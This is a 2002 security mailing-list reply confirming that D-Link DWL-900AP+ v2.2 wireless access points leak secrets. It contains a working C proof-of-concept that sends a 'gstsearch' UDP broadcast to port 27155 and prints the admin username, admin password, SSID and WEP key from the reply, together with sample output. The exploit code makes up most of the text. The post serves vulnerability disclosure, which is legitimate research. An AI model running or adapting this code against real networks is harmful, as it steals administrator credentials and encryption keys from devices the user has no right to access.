Re: Accesspoints disclose wep keys, password and mac filter (fwd)

[Hakan Carlsson <hockey@easylogic.se>]

On Sun, 3 Nov 2002, Tom Knienieder wrote:

Tom Knienieder>         Possibly vulnerable, not tested, OEM Version from GlobalSunTech:
Tom Knienieder>                 D-Link DWL-900AP+ B1 version 2.1 and 2.2

DWL-900AP+ ver 2.2 is vunerable. After changing the test prog (attached)
it returned:

	Type            : GL2422AP-00-0M0 T1.0 -042.2
	Announced Name  : DWL-900AP+
	Admin Username  : admin
	Admin Password  : secret
	SSID            : mySSID
	Wep KEY         : 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d


Don't seem to work on Dlink DI-713P (wlan side)

/håkan

/*

 Orig version by Tom Knienieder <knienieder@khamsin.ch>
 Patched by Håkan Carlsson <hockey@easylogic.se> for DWL-900AP+ v2.2

*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

typedef struct {
        char type[32] /* [28] */;
	char scr1 [4];
        char name[32];
        char user[16];
        char pass[16];
	char scr2 [408];
	char ssid [32];
	char scr3 [61];
	unsigned char wkey [13];
}
__attribute__ ((packed)) answer;

int main()
{
        char rcvbuffer[1024];
        struct sockaddr_in sin;
        answer* ans = (answer *)rcvbuffer;
        int sd, ret, val;

        sin.sin_family          = AF_INET;
        sin.sin_addr.s_addr     = inet_addr("255.255.255.255");
        sin.sin_port            = htons(27155);

        sd = socket(AF_INET, SOCK_DGRAM, 0);
        if (sd < 0)
                perror("socket");

        val = 1;
        ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val));
        if (ret < 0)
        {
                perror("setsockopt");
                exit(1);
        }

        ret = sendto(sd, "gstsearch", 9, 0, (const struct sockaddr *)&sin,
			sizeof(struct sockaddr));
        if (ret < 0)
        {
                perror("sendto");
                exit(1);
        }

        ret = read(sd,&rcvbuffer,sizeof(rcvbuffer));

        printf("Type            : %.32s\n",ans->type);
        printf("Announced Name  : %s\n",ans->name);
        printf("Admin Username  : %s\n",ans->user);
        printf("Admin Password  : %s\n",ans->pass);
        printf("SSID            : %s\n",ans->ssid);
        printf("Wep KEY         : ");
	{
		int i = 0;
		for (i=0; i<sizeof(ans->wkey); i++) {
			printf ("%02x ", ans->wkey[i]);
		}
		printf ("\n");
	}

        return 0;
}